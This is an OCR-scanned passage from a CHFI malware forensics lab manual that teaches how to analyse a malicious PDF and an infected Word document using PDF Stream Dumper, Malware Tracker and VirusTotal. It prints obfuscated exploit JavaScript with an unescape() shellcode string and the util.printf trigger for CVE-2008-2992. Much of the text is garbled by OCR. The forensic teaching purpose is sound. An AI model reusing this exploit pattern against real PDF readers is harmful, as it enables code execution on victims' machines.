| LREIFILY L t-ﬂ.l.'\.]. LW L'Il.l.l_LLlﬂ.J.!:l I.ILII_HI“.FI.lJ: LHJ.ILI'I_L AV VIMD UL ey l.l’ﬂ L E Rl FANL I S :ﬂ_l.'ﬂn:l-d.'-'lﬂ.lll.l. AL Sl L D La e e,

Hlan: Q=32
Hisn: 0x3]
Hian: 0x3D
Hlacn: Dxdd
Tuil2-0x15&R
Hian: 0x07

FOF Fath | \EBvidenoes Fileshinfected.pdE

ralBRultuWa = tBEfuKGGeEdzgLEraWgul PyooPh. substring (0,
tEfuKGGaEdzgLEraWguI ByocPa, langth-
GUTVVnLYHE goobal kzPlxEF JRIEwRhdogl pnRRkMuzpUkl cFRercRpg TSy ) ;

While
(EhGHvYHaRYDwYougEa igfogqmodStgDX s YMryMPdi LHNoTgRtw I SWzONDal sMIgBs IwIKmI ThEHEcshuZ LED
krolBuluwh, length+GeTVvWnLEHH jgodbslkePlx 2R iRIZwRhdogipnRRkMuzpUk l cFRercRpgTs) <
e d 0000)
REGHvYHaRYDWWEugEai glagmeds tyDie YMyVMPdi LHNoPgBtw I SHEONDAl sMIgBs IwIKn I ThEHEashuZLhDk
rolRuluWa =
BhEHvYNaRYDvWeugEalgZoogmod s tgDX z v VP Al LHNoTgB Ew I SWeONDal sMIgEs IwIEnIThEHEcshu LDk
rolnl uWA+RhGHvTNaR¥TVVGUgEa i g Togqmod S tgD e YMyVMPdl LHNo TR tWISWzONDal sMIgEs IwIKmI ThEH
EashuZlibDkraol RuluWiA+MRECgWHz Tugwi FTEyssVAY 2 ImkhXBoW T EPERY vywHEPvFatTEETHMPmos IT1LCPEBTRES
imeaNpme -

Zadv ]l z0nrCA RN CVEGEpamLeRImal  PddUPl Tan = new Array ()

for (FnefyVAUsIVIHbMALrXHVhaI1X] Rrramy 2MEHL ) By PHEsG0-
0 ; Foe Ey VAL TV THEMAL-XHUVha T1 XiBr eamsmy s MGHL j Bg PKzaGD
<1450 ; Fne EyVAUS V. IHBMAL T XHVha 1 X i Brramy ZMGHL JBgPRZCG++)
Zaov 1 2D CAT KRN CVGEprLsRImad ) PddU 1 Tan
[ Fre fyVaUs VW IHEMALeXHVhad I i Brramy s MGHL ) BgPKecGD] -
BhGHvYNaRYDwWiugEaigfogmodsS tgD e YMyvVHMPdi LHNoTgB twI SH=ONDal sMIgREs IwIKnI ThEHEoshuZ LEDK
rolBuluwWa +
ha3FSQFEHOcLLWNBERIdYNEh viHoFntisd hOF teGEInEhdBMzoXET] SRecuNPAFctwzDEatSE ;

[ util. printf (":45000. 450008, 0): |
>

TeMT | HexDump | Stream Detaila [ |

1 Samxrch Femalte
E DuT12-0x138K  +</Langetk SO0B/Eilpas [/Flabslecsds/ASCT THaRDG s |+

Errors Search |Debug (3) |

FIGURE 3.18: Checking for any readable strings from the Text of the suspicious object
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Module 11 - Malware Forensics

34. For gathering further details on other exploits, click the Exploits_Scan
option from the toolbar.

pad | Expleits_Scan | Javascript Ul Unescape_Selection Panual_Escapes Update Cumrent_5treamn  Gote_Object  Search_For  Find/Replace Tools
elp_Yideos

1 Objecca

;:; ;;; var UhUIbxMLXTyXbeELYOmzodSvetZdibbZoNFTupMSzibleJHiWwalnibw =
mﬂ__n Ensa unescapea (" 9955l 2 f85ufdf9sul fA05u9 f 91 3ufet8Eu96935ud 93 T5u9799%

HLen: OuiD u%249%u98473%u9237%ud9f8%ufc9bind74akudBf55u91 2 f3uf540%uded74ud398%

HLen: Oudé u9bdeindldizu924atuf9982ud0fEin3dT46tudBfotnda9fiudbdbinud398iud fF52
§ 0x212-0w1S8A u2749%uded8%ud693%uda%7%ud62 f¥u3f9b¥uf5405ud83T8u2791%u273f4ul8fok

HLan: Ol udfdbiudf2Tindldézudf?26tudbifdiudl 495w TEwl 42502 f92%ufo3fiulddded
u9248%uf99fEnsb S udffosud 2 fotudBo6sufi428ufc98sul3f37T4udl14bind293%
u27fd2ud69biud fdbin93fdiufc96ind9963u219020d6485u9627%ude3 72041402
ufoldTEn3fo62ufBfosufid73udbd6tud Tf55ud fO9biu2f9fiulafSiud6495u979£f%
n272fE0d341%3ufb91%u%90%bFu%bdatufcd fFufc2Tin®34atufd®233u914]1 2udl£5%
ndl12fEud29] En9fdfEufedTEn3dff9%nd3fdiud3ifeiundbdeiufid0ud8desudifck

N2ff5309648In489fFud8993n2 7473033796993 ud6e48Eud433£3u5347T¥u37L5%

{Text | Hex]:m:mpl Stream Derailsl |

Meassage

Par=ing Complete Object=: 7 Elap=ad Time: 0.093 =sconds
OxDE bytes after end of last chbiect B offset 018550
Cf Tilters not indtilized. See Tools-*Mamual Tilters and click on iTaxc Filters = falae Iink

E:l::l:n:l:a] Search Debug (3) |

FIGURE 3.1%: Screenshot representing Exploits_Scan opuon

35. The tool will scan the object tor any available exploits and display them
in a new window. The result includes the type ot exploit used, date of
embedding the exploit into the PDI' and the sertal number of the
stream containing the exploit. The exploit also marks the same
utll.printt command as malicious.

367999297 - Notepad
ile Edit Format View Help

¥xploit CVE-2085-2992 Date:11.4.98 v8.1.2 - util.printf - found in stream: 6
xploit CVE-2888-2992 Date:11.4.88 v8.1.2 - util.printf - found in main textbox

ote other exploits may be hidden with javascript obsfuscation
t is also possible these functions are being wsed in a non-exploit way.

FIGURE 3.2(; Viewing further details from Exploits_Scan opuon
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Module 11 - Malware Forensics

36. To be sure, check for the vulnerability across online security databases
such as https:/ivulners.com. Go to the website by typing the URL 1n a
browser. Give the vulnerability name in the search box provided and
click on the button with Arrow symbol on it.

M Yulners - Vulnerability Dz %

SEARCH DORKS STATS CONTACTS

CVE-2008-2992

FIGURE 3.21: Checking for vulnerability across an online security darabase

37. Click on any of the results to have detailled information about the
vulnerability.

M Yulners - Vulnerability Dz %

€ C' | & https://vulners.com/search?query=CVE-2008-2952

CVE-2008-2992

HOME SEARCH DORKS

CVE-2008-2992- Adobe Acrobat and Adobe Reader wutil.printf() buf...

T 2008-11-04 70-4 & 9.3

Adobe Acrobat and Adobe Reader are vulnerable to a stack-based buffer overflow, caused by improper bounds checking when
parsing format strings containing a floating point specifier in the util printf() function. By persuading a victim to opan a
specially-...

CVE-2008B-2992

www.securityfocus.com

ecurity I n/farch

www.milwOrm.com

Ly N ey e ey L -

WwWw.Ccoresecurity.com

el ne S O T, g LR = o

FIGURE 3.22 ".'iewing the derailed informarnon about the Tulne.‘al}iLiq'
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38. Analyze the JavaScript in the object by clicking on the Javascript_Ul
option from the toolbar.

oad E:pluitsj-:an Unescape_Selection  Manwal_Escapes  Update Cument_Sream  Goto_Object  earch_For  Find/Replace  Tools
elp_Yideos

1 Objecca

var UhUIbxMLETyXbeELYOmz2dsvetZdibbZoNFTupMSzibleJHiWaluiDw =

A unescape ("E99f55ud 2 f8Eufdf9tul fAd05u9f91 2ufc9B8iu96938ud 937500 T799%

HLen: uf249%u98473u9237Fud9fB¥ufc9bFu9T74a¥udBESFu912E3ui540%udedTEnd398%
HLen: u9%bhdeiudl d32u924auf998iud0f5iu3T46EudBfcinda9fiudbdbiud398inudffhs
Ox2lz-0ul132R u2749%uded8iud693%udad7Tiude2 f¥u3f9b¥uf540%5ud83T8u2 79180273 fud8 ek
e udf4biu9f27Eudldetudf263udbidiudl495wf89TEu2 42502 f92%ufe3findldad
n2248%nf99fEn b ESEn9ff9%nd 2 fctn9B896 ufEi2iufc98iuifiTindl dbind293%
u27fdiud69biud f4dbin93fdiufc9263ud996Eu9190%0d6483u9627ude3Tind140%
ufcl3TEu3f6ufBfotufBdTindbd6kud T£55ud fObiu2 f9fiudafSiud6498u979E%
u272f%u43413uf591%u99%3udbdatufcdfFufc2Tind34a%ufd93%u9141tudb£5%
udl2fEud2918u924fEufcdTEulff9%ud3fdEud396%udbdbsufh405ud8detnud3fcs
NZ2fE5%u96483u4B9f%¥ud899%u2T747%u9337E0%699%0d648%ud33£%09347¥03TE5%

{Text } Heul:ru:mpl Stream Derailsl |

Meassage

Par=ing Complete Object=: 7 Elap=ad Time: 0.093 =sconds

OxDE bytes after end of last chbiect B offset 018550

Cf Tilters not imitilized. See Tools->Marpal Tilters and click on iTextc Fillters = falage iink

EIIEIIEJ Search Debug (3) |

FIGURE 3.23: Screenshot showing the Javascript_Ul opton in the toolbar

39. The tool will display the Javascript_Ul in another window. Click <-- to
clipboard link present under the toolbar to save a copy of the scripts as
analysis steps tend to modify the original script. The tool will display the
saved script in the left side menu.

pad  Format_lavascript  Unescape Selection (FG)  Manuwal_Escapes  Ewploit_Scan  Simplfy_Selection_Cuotes  Shellcede_Analsis  Find'Replace Deobsfuscation Tools
I_"._hll:hﬂxl:dl Script

Baved Scripcs | 1

len — E723 2 var DhUIbxMLET ¢ XEeELYOmedddvet3dibbaoNETupizibleTdHialuilw = uneacape |
MR ARud R F b ufar SRR f40Rn e fl du ol tudad d3dud A AT ud TR Eud R d SusSd TEu R E 37 dud 3reiulfodh
FufTiaiuddfFiudl fiufSd0iudeTind 308 ubbimud 143 3uiZdaiuf 308 iud S fuld 7dhiudfifaoiudadss
wibfbtud IS Fud LIS ul V4 fduded Sdud 6 8 duda ¥ T fuds 2 M iudf9bdufS 4 0dud 83 T2 701 fu2 T3 fnd 5 fedu
S5 bR3u L Tiudldetud f6Fudbfdind i4 04l 80 7ind S 2 inifi2iunlfocifiud e iud24fulf 90 fdndb S iul
FERfudZ fotulfeatulfd2 dulfcd 8 udf 3T Riudldbiud 2 0 dusd Fhdiud §8bud FbIu I fdiufc R 6 fud 99 6Fudl
FOFuSEL G bu e Thude i Tiud 140 ufedTRudf A tuf@ fo bur 84 Thudbd 6 bud TS bud Fibtufiftudafftudcd
SIS Eud T iud 341 3uf5el 3udadbiutbdatulfod Fufa? TEud3dainfdefiudldl IudbrfSud 125 Tud 201
IS S u e T RuI S F R Fud I du R 3 s g b ¥u F 0 d 0 d 6 Fud IS e dud SR Fu P C4d S ud PR Yud Ao du T4V
wRIF e e tuded 0 tud A Ftud AL T En AT fuf RS fiuf {8 tuliiatud A tulfSad e fudNd S3ud T4 2 5nd 05k
D0datud fd=tutFif tudaddiuifA0tudbd S tufaditud Ifdtud S ufd V3 ufdf 8 3ud0 8 fud 28 Fud § 00 Ful
TESFudbatiud FFatudbd 2 fuir 38 fulef S fud a2 Tiud 2 Fifus S 4a du s fud G4 Fiufdf dfudaf fduded ffug 6
fetudd finsfFefinddddindaddiniffidind B2 fFind4edud s findddaiufSZTiuE37iusbl 8 iudddesulrsd
ERuITEASudERfFudad Fiuddedtud s fotud B2 7 iud 7Fotud 73 Tiud 0t ud 83 ¥ufbde tuRE2 YV tudfdatuf33v
FuSral budd4 P bufE R Thulf s atud TOakuRZsrfu i3 tudedl tulfddl tude e dulTorbud 2 kit tud 7371
S IFuITEL T IudE 3 FTud fREIud IS 7Indfddindaffin s dmIud 95 ufb 2 Fudbe 3 tud 8 06 iufaeaind fda du
Fladeiuiffatulfedl sl fedud V48 duad foduded Fdud 08 dufads0Ind b uZ raffu2 9o fud £ f3ul 597 dus
FREdus RS sur e fiud 7903ud 14 Tiud 94 72udldiudfdatudSd find T4 ifuofi03uld?fotulfdf fdud8dedudb
FotuldbdiufFebiud i iudff9Tud b iudadbTud T4 0iudl 6 ud e dud IS sul £AITus T4 63ui0fdiud 24
Eudaffiud Tdedulf P8 d 88T u Rl 3 rtud FA0bufdd Thufodl fuded Thud 30T hudb af tu d0da tu bdibtud IdE
FudZdftudad P udd o tnd Foliuf SRS insfStudfitiudadd tul 70 tudbIfuf i finfodfiuefdind 595
wd T I fefatul Al Fudfdf dud e SR Fud 7o Yud T4 2 dud 040 Fud FIF fuda 37 u 0 6 Budbd S Yuf 58T dud I8 3
S241 5N bud T tudad 2 tud A bud B2 Fbudda bud 000 ku 34 2 tuf84 T tulfd3f ful f4btudb3fud 2 2 kuy
EREFundFREiu el 3ud 102 3udfdf ud f AR tuddfffudl ifinfodl 3ul fFf33unl 77 ul f48 tud fOEFud {503l
AEFUS IR Iud TRl Yu 48 dud Foddulf 4 Fulbd P fucaaf FulSba Yuf4a 4 Iuaed dus d 74 Ju b 804 Jusd 33 Juldil
IFu703IFn03 183l 70due S8 tudefduef Tl udfeciuldtTatudfecin 7382 uafaddiun Frelinladdiubffal
Tudl 6l fuddabiud 7 i fublifadinlfbitudod Fiuladd tucfad tuddo b tulf ffafuddf Tinlfaf i tuo S0 iufSfat
ubfadfuidadiuds Yetul fedbuchectufof S fueas ¢ fuf2ds tubibftufSfetuedbatuddbe fual 71 fue S0 tu
SEd13uZf8binE798uf=2 7udal finSE630iud5 0] snaadotuffaIunTiS7ius 699 fufaddiuacIfindbd Siud
— THIS RUMS SCRIPTS LUVE -~ NOUSANDBDE - |k walch lor Sdoibe specihe objadz] Deubls chek & vword 1o Fahlahi 8l retacces ol d
i=tcicbomd  app. vieweiVersion: [32 ~| thizpagettum [0 “inscippws  Oplions Aur | [~ MoResel

FIGURE 3.24: Viewing the results of the Javascript_UlI option

CHFI Lab Manual Page 449 Computer Hacking Forensic Investigator Cnp:.‘righ:ﬂ by EC-Council
All Rights Reserved. Reproduction 1s Strictly Prohibited.



Module 11 - Malware Forensics

40. The Javascript_UI will help the reader differentiate the commands and
codes by offering color specifications. Scroll to check the document for
suspicious commands and strings.

pad  Format_lavascrpt  Unescape_5Selection (FG)  Manued_Escepes  Ewploit_Scan  Simply_Selection_Cuotes  Shellcode_fnslysis  Find'Replace  Deobsfuscation Tools
i-tochoboyd moriptc

Saved Scripza | EeTTnlxii{godbslkzPlxIF BRI SwkhdogipnBRkMuzpiklcFRarcRngTE] |
tEfuREGabdzglEreWgulPyscPh+=tEfuRGGeEdeg LA raWgul Byacbh;

MATCqWz fugwZEFTEysaVAYzlmkhXEc W T FERY vy PvFatThkETHPMos IT L CPELTEM{malpm =
tBfulEGaPdzglliregulPyccPh. substring (0,
GETVVRLAHH]jgeCbalkePluEFiRIZwRhdegipnRREMuzpUk leFRercRpgTa] ) ;

PhGHYYNaRYDeVEugEaig2eqmadIegD e YMy VHPd i LHaTyBtwISHeONDal aMI gBa IwIEnIThEHEcshulLiaDky
oclReluwh = tBfuRGGeEdzgLErewWguIFyccPA . aubatring (0, tBfuRGGeEdzglRreWguIPyccPR. length
~Gv TYVnLEHH JgcObalkzPlxdF R 2wihdogipnRRkMuzpUklcFRercRpg TS ) ;
BhGHTY¥NaRYDvVGEugEaigiogmoditgDz ¥y VHEdL LHNoTaBtwISWsoMOalaMIgEa Iwl EmIThEHEc=huZZbhDkr
clRuluWh, length+EvTVVaLHEH{go0balkePlx PRI EwRhdegipnPREkMuzpUklcFRer cRpgTa] <
Qe d OO0 )
BhGHyYHaRYhvVEugRfaigicomodds gDz ¥iv VHEd 1 LHNo TqRtw I SHz{MlalaMI gln Inl Enm I ThEHEcshuZLhDke
clReluWh =
BhEEr¥NaRYDvVEuglaigiogmod 3t gDz ¥Mr THEd I LHNoTaRtw I SWzGMOal aMI gEa InwI EmIThEHFoshuILh Ok
&l R luWht
RhGHTYNaRYDvVEugEalg2oqmod 3tz YHrVHMPd L LHNaToEtwISW oM Da l sHIJEa IwIFmIThEHEcshuELEDkEE
olRuluWhtMEtCqlz fugwiFTEyenYAY 2 InkhBcV Tt PERY vy RS Pv PRt Tk BTHEPmos IT1 CPELT BrorimaMNp=0 ;
Za0V1lzDeCATKRNCYGgBpgnLaRlmac]i PAdULTen = [new Array () |
for (FoefyVAUsIVIHbMALrXHvhaJliiBrramyzMGHEL]BgPRzcGD=0]
Fns Sy VAl TV IHEMEA L XHVhaJl KiBrramy sMGHL] BgPRecGI1450;
FrnefywATsIVIREMAL s XHEVhaTlXiBrramy ZMGHL] EgFRZeGD++]
220V 1z DvCATKRwCWEgEpomls S Llmad ) PddUl Ten [ I
FrnefyTATsIVTHEMALr XEVhaJ1KiBrramy eMGHL ] BgFReEcGED] =
RhEHrYNaRYDTVGEugEaigiogmod gDz ¥Mr THEFd 1 LHNaTaEtwISWzQMOal aMI gEa InIEnIThEHEoshuZLhkr
SlBuluWh +
haFEQFBEGeLEWNERTdyNEhnEVE EgdCmeWaFnt i ALhDOFteGEIREEdRMzoXET LEReculPFARCtweDEBAL 3B |
[atil.printe | "$45000.45000E", 0); |

FIGURE 3.23: Checking the document for suspicious commands and strings

41. The util.printf( ) command 18 a vulnerability tound 1in PDFT files that can
allow arrackers to execute arbitrary code on the system, leading to buffer
overflow attack.

Lab Analysis
Document all the results and reports gathered during the lab.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Internet Connection Required

[1 Yes M No

Platform Supported
M Classroom il.abs
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Module 11 - Malware Forensics

Scanning PDF files using online
Resources

Malware Tracker is an online mabvare analysis tool that antomates the static
analysis of PDE, and common document formats.

Lab Scenario

Scanning PDFs and other documents tor malicious scripts 1s challenging task
due to daily advances in technologies and a remendous increase in the number
of ways an attacker can use these documents to pertorm the attack.
Investigators need to be up to date with all the databases for any recent
malicious tindings. Sites such as www.malwaretracker.com help in using online
databases, which are up to date to analyze the attacks and idenufy the
vulnerabilities used to perform them.

Lab Objectives

The objective of this lab i1s to help students scan the PDIs using
www.malwaretracker.com and identfy the missing links that can prove the
documents to be malicious.

Lab Environment
To perform this lab, you need:

" A computer running Windows 2012 Server as the host machine

"  Windows 10 running on a virrual machine

Lab Duration

Time: 5 Minutes
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Module 11 - Malware Forensics

Overview of Malware Tracker

Malware Tracker provides malware analysis, forensics, and security solutions as well
a8 helps t0o detect malicious document attachments and to automate the static
analysis of PDF, and common documents.

Lab Tasks

o — 1. Launch a web browser, type the URL
= TASK 1 https://www.malwaretracker.com in the address bar, and press Enter.

Scan PDF Online 2. Click the sean PDF button from options menu bar.

malwaratracker.cam

Malware Tracker A

home } scan document software tools blog contact

malware tracker

Cyplanalysis Visualization - I7ES671 38441 80074698541 (Mea1 ade - 1024 byl

-£0f Disparsion

'HE}'
Cryptam.com - kay length |256 byles)

Amnplitude 0-255

Malware Tracker provides malware analysis, forensics, and security solutions for enterprise. Use Malware Tracker
technology to detect malicious document attachments at the email gateway, and to automate the static analysis of
POF, and commaon document formats. Home of the free online PDE Examines - the only web based PDF malware

analysis suite and the Cryplam document malware scanner.

FIGURE 4.1: Malware Tracker home page
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Module 11 - Malware Forensics

3. The website will navigate to a PDF examiner section. Click the
Browse... button across the “PDF sample:” to upload the suspicious file.

nome » scan PDF ¥ scan document software tools nlog contact

PDF Examiner

File upload to the pdf examiner.

PDF sample: Browse... [3

Email (optional emailed repart); Email

CKeep private, do not publish in recent malware detections

Comments ar spear phishing email;

speer phishing emad o

[ COMMERS

.|'-"|I'IE|}|'IE | This wail Lk 3 minwie

FIGURE 4.2: Scanning a PDF using Malware Tracker

4. Navigate to the file locanon, C:\CHFI-Tools\Evidence Files, select the
infected.pdf file and click the Open button.

« Local Disk (C:) » Ewidence Files » Search Evidence Files

Organize » Mew folder

I Desktop + *  Name Date modified

Type

*Dcmrnlﬂads 4
lﬂ Documents o
= Pictures 4
o DVD Drive (D: #
CHF-Tools
CHFh9 Module!
Evidence Files

Evidence Files
i Onelrive

[ This PC

[_ir Metwork W

File name:

Unknown
8] Unknown.exe
|ﬂ Legal_Disclaimer.htm
D infected_doc.docx
D Word_Doc.docx
D Word_Docl.docx
i Confidential pdf

8/1/2016 1:12 AM

2009 1:52 AM
0/20/2011 12:40 ...
5/10/2016 9:49 AM
6/16/2016 %:47 PM
6/15/2016 11:32 PM

6/17/2016 1:51 AM

8/29/

File folder
Application

HTM File

Office Open XML ...
Office Open XML ...
Office Open XML ...
PDF File

iﬂ infected.pdf

3/3/2016 4:08 AM

PDF File

| MultiplePages.pdf

|:J-F MultiplePages-Fuced....

a infected.rar

2/20/2010 1:24 PM
/2006 7:31 PM
/2016 11:33 AM

infected.pdf

PDF File
PDF File

WinRAR archive

All Files

Cancel

Open

HGURE 4.3 ?{m'igaﬂng tx the Exvidence Files folder and sele r:ting the 5|.15pi|:inu5 Pdf file
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Module 11 - Malware Forensics

5. The site displays a series of objects with different color specification.
The Object 6.0 @425 1s red due to the presence of suspicious elements
such as Javascript, unescape, substring and unl.printf commands. These
commands can perform functions such as modifying settings, gathering
information, etc.

Xxaminer

Filename: snfected. pdt | MDA cifacdedcdeetolifoPoeiabYa e 114
Link to beore
Document information

Original filename: infected. pdf

Size: 671 bytes
PDF Info Submitted: 2016-05-03 11:09:58

md3: cd factefcdeetci feYcetadYabed 114

Object 6.0 shal: 1491 7bBbbATO4064d5dBFL10 1 Tbd7342ddB4a343

shaldfe 367547F151358c3fB7 2bdall FedDB 7 18420946 Th6 1 dabedd9 14817 6ab1 7d

ssclesp: 103-7Ck +:|'~EW|I'P?H|:IH';| ?qi Edﬂ'rﬂpj a1/ FleaSU1 Seel: ?{:‘tfganid::ﬂrl':m alhuTfW19caD

cantent/type: PDF doecument, wersion 1.5

analysis time: 2,85 5

Analysis: Malware [4%] Beta OpenlDC

6.0 @ 425; suspicious,wamning: object contains JavaScript
6.0 @ 425: pdf. exploit util. printf CVE-2008-2922

6.0 @ 425; suspicious.obfuscation using substring

6.0 @ 425: susplciows. obfuscation using unescape

FIGURE 4.4: Examining objects having suspicious elements

6. Click the object name “Object 6.0 @425 from the left side column to
view 1ts details.
FRename: Infacted, pdT | MDD CifasFefcseetol 1 fercalat9aselird | Object: & Genaration: 0

Filtzrs: FlateDecode ASCIIHexDecode | Size raw: G008 bytes | Sioe decoded: 5707 bytes | File offset: 425
Stream MO a11bbhFcal3r42a8981dac3ITedT4asd4 | Stream decoded MDE: 3c0M 353021232802 18176 72893 00LAT

Y Yo

ik 1} Visw Olsi R Spwe Obi 45 Fi

id . var UhUTbxM
53 LETvEbeELYOm=z0dS
dd wot2dibbZoNFTuph
77 SzibledHiWaloilw
3% = uneacape {"%08
25 Or53ud2rarurdrozx
39 upadrdgIuzLiolrzatfcy
39 BIuSEeS3Iu493iTIun
25 TE9Fu22493utE4TE
39 usz3TIudorszulco
349 BHRuST4atIudBESsub
25 12f%uf540%adeSTh
34 ugisttusShbderudld
34 3%uS2d4atofSS8%ud
25 0f5%u37dedndsSfck
38 udasfiudbdbigd3n
J4 BiIudirsdusd fd49xud
25 ed4B3IuL4e93FTudaluls
34 ude2izuifiz@bIanlsg
32 03Iusk837I02TolIuZ
25 T3fFud8fciudf4ns
39 wuar27Iud4ldezu4ro
&8 HRudbfdiud4l4osuf

wall [ b [ ] -
an A - S O OF CR S G

LA =1 La L

FIGURE 4.5: Viewing the complete detals of the suspidous object
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Module 11 - Malware Forensics

7. Click the Exploits tab to view the position of the suspicious strings.
This will give a clear idea of content involved with these strings to
perfnrm malicious activities,

I Parameters I Raw I Decoded J3%10E

Link to hen

picious.obfuscation using unescape

S | 20 Z0 76 81 T2 20 55 var ThUIbxMIXT
19: 79 58 62 65 45 4c 58 YXbeELYOmzOdSvct
35: 5a 64 6a €62 62 5a &f ZdjbebZoNFTupMS=zi
2L: 6 CC 09 1a 140 &5 o} bleJHiWaluilw =
B¥: TS5 6 &5 73 &3 &1 70 |unescagggiiu99f5|
B 2505393286 38325 FudZ2fBsufdfosuf
89: 34 30 25 75 39 &8 39 40%u9f91l%ufco9Biu
15 39363533 =25-15-34 9693%u4937%5u97599
31l: 25 75 39 32 34 39 25 Fu9249%u984 78052
47: 33 37 25 15 34 35 66 37T3u49f83ufcoibiu
Bkt 39 37 34 61 25 75 34 974a%u4sf

picious.obfuscation using unescape

S: 20 20 76 61 T2 20 55 var ThUIbxMIXT
15G= T9=0E=02=00""2091c-59 yabeELYOmz0OdSvet
35: 58 64 6a 62 &2 S5a 6f ZdjbbZoNFTupMS=zi
8l G2 -6 658 4H B9 57 bEledJHiWaluilw =
B¥: TS5 68 65 73 &3 61 70 unescape ("¥u9sfs
83: 25 75 34 32 &6 3B 25 Fud2fAtufdfotulf
89: 34 30 25 75 39 é6 38 40%u9f9l3ufc9Biu
15: 39 36 3% 32 25 75 34 9693%u4937%u9799
Sl 2I5 TS5 3% 32 34 3% 25 $u9249%u884THu82
47: 33 37 25 75 34 3% 66 37¥u49f83ufc9b%u
Bas 39 37 34 61 25 75 34 974a%u48f

FIGURE 4.0: Viewing the position of suspicous stangs using Exploirs tab

Lab Analysis
Document all the findings vou obtained during this lab.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Internet Connection Required

M Yes [ No
Platform Supported
Classroom [ iLLabs
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Module 11 - Malware Forensics

Scan suspicious MS-office file for

Malice

MS-Ofte files 1ch as 1word docrmants and exvl sheets offen ait as carvers i spam canpagns, as
attackers iry fo transmit packed execitable nmasqueraded as a document.

Lab Scenario

Attackers use MS-Office documents to deliver various malicious executables, to
compromise system security and install an unknown program. Investgators
need to be aware of such acts and be up to date with all the vulnerabilinies
existing with such document formats. The lab will help users find if the
document stored in a compromised system has any suspicious strings and codes
that could have helped attackers.

Lab Objectives

The objective of this lab is to help students analyze the MS-Ottice document files
and extract the hidden malicious content using various online and oftline tools.

Lab Environment
To perform this lab, you need:

= A computer ruxming Windows 10 Virtual Machine.
m A web browser with Internet access.

" Administrative privileges to run the document analysis tool.

Lab Duration

Time: 30 Minutes
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Module 11 - Malware Forensics

Lab Tasks

In this lab, your primary task 1s to upload the suspicious PDIE file to
online  wvirus  databases, such as www.virustotal.com and
https:/ /malwr.com, and check if these databases contain signatures of
virus in the file which you are going to upload.

Login to Windows 10 machine, launch a web browser and enter the
URL htrps:/ /www.virustotal.com. VirusTotal homepage appears, click
the Choose File button to upload the suspicious file.

hitps:y pwenn.virustotal coem ‘.i'-'f| = @ @&

Cammuanity Satistics Documentaticn FaQ fboul = English Igin our community Sign in

pa total

Viris | otal 15 & free sendce that analyzes suspicious files and URLS and facilitales
the guick detechon of wiruses, worms, tragans, and all kainds of mahwvare.

MFie @ URL 0 Search

o Sk mabeded Chonse File

Fanmm hbe seee 12HME

By chcking "Scan IV, you consenl Bo our Terms of Sarvice and allaw WirusTodal ko
chafe this e wilh he S2cinily communty. Ses our Privacy Policy Tor detais

HGURE 3.1: VirusTotal home page

Open window appears, Navigate to the file location: Z:\Evidence Files,
select the file infected_doc.docx and click Open.

% » BEvidence Files » v N Search Evidence Files

Organize = MNew folder

B Desktop # ™  MName Date modified Type

. DVD Drive (D: #

v‘r Downloads o _ﬂ Legal_Disclaimer.htm  10/20/2011 12:40... HTM File
_E] Docurnents  # | infected_doc.docx W10/20169:49 AM  Office Open XML ...
= Pictures " ~| Word_Doc.docx 6/16/2016 9:47T PM  Office Open XML ...

_n| Word_Decl.docx 6/15/2016 11:32 PM  Office Open XML ...
=i Confidential.pdf 6/17/2016 1:51 AM  PDF File

[ infected.pdf 5/3/2016 408 AM  PDF File
CHFv8 Module %] s HinlaDamac nif
w i

CHFI-Tools

14200 AV =244 BPRA HIF Fila

Eyvidam~a kilas

File name: | infected doc.docx All Files

Open

FIGURE 5.2: Navigagng to the Evidence Files folder and selecting the suspicous file
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Module 11 - Malware Forensics

4. (Click Scan it!.

) total

VirusTotal is a free service that analyzes suspicious files and URLs and facilitates
the quick detection of viruses, worms, trojans, and all kinds of malware.

MFile @URL Q Search

infected doc docx Choose File
Maximum file size: 128MB

By dlicking 'Scan it", you consent to our Temms of Service and allow VirusTotal to
share this file with the security community. See our Privacy Policy for details.

FIGURE 3.3 Scaﬂniﬂg the su'a:[':-iu:inus file

5. The website will analyze the file and display the result. The website will
cross-check databases of various antvirus programs for similar contents
and reveal the result.

6. The result discloses the 56 available databases, 35 have confirmed the
file to contain malice and also presented a list of result from different
antvirus databases.

:-._]

The result also displays the type of malware the file acts such as exploit,
Trojan, Downloader, etc.

SHAZRG. STE25THIcEa00b4ddaese0Ec6c34ab9b38e 06aGb2 ETE0M 33347 cabibaccc 18

File name: infected_doc. docy

Detection ratio; 35756

Analysis date:  2096-05-10 052339 UTC { 1 minute a0 )

= Analysis &, File detail 30 Relalionships @ Additional informalion o Commenls  ©)Voles

Result

Exploil DOC. Agenl Gan

Dowmilozder Agent 16X

LooksLike Macro. Covmioader b (v)

WoTM.Downloader.B

FIGURE 5.4: Viewing the results after completion of scanning
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Module 11 - Malware Forensics

8. Click the File detail tab to check other information about the file. The
commonly abused properties section reveals information about the
content, actions, variables and commands 1n the file along with their
impact on the system.

9. In the Summary section, the website shows the author, time of creation,
file name, last print ume, etc. Close observation reveals that the time of
printing 1s in the year 2006, while the creation time 1s in 2009, which 1s
contradictory. The observation divulges that the malicious content in
the file 1s manipulating the date and time settings of a system.

10. The summary also reveals that the author had used the Spanish language
during the creation of the file.

& File detail 25 Relationships © Addional information & Comments L} oles

The file being studied follows the Compound Detument File format! More specifically, it is

L Commonly abused properties

The studied file makes use of macros, & macro s a senes of commands and instructions that yvou group together as a single command to accomplish & tas

automatically. Bacros are often abusad o perform malicious tasks when working with a doowment.

Automatically runs commands or instructions when the file is opened
May read systern envirgnment vanables.

May bry 1o run other files, shall commands of applicalions.

May execute code from Dmamically Linked Libraries

May try to dovnlosd addional iles irom the Intemet,

clein

2009-03-30 15:18:00

QFEYDY

Guwiffida MIPYME para ser emisar electiwfifdnico
7

2014-05-14 13:45:00

4300

264

13

2006-06-07 15:04:00

FIGURE 3.5 E}:amining the resules froim the File detail b
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Module 11 - Malware Forensics

. Scroll down to the OLE Streams secton, which displays tile contents in
rows. Click on a particular row to see turther details such as type_literal,
size, name and sid.

] Macros/PROJECT

] Macros/PROJECTwWm

] Macros VBAThisDocument

] Macros/VBA!_VBA_PROJECT
] Macros/VBA/_SRP 0
] Macros/VBA/__SRP_1
] Macros/VBA/__SRP_2
] Macros/VBA/__SRP_3

12

13.

HGURE 5.60 E‘:-:amirl'tﬂg the OLE Steeams section

. Scroll down to the Macros and VBA code streams section to gﬂther
information abour the malicious content in the file. The section displays
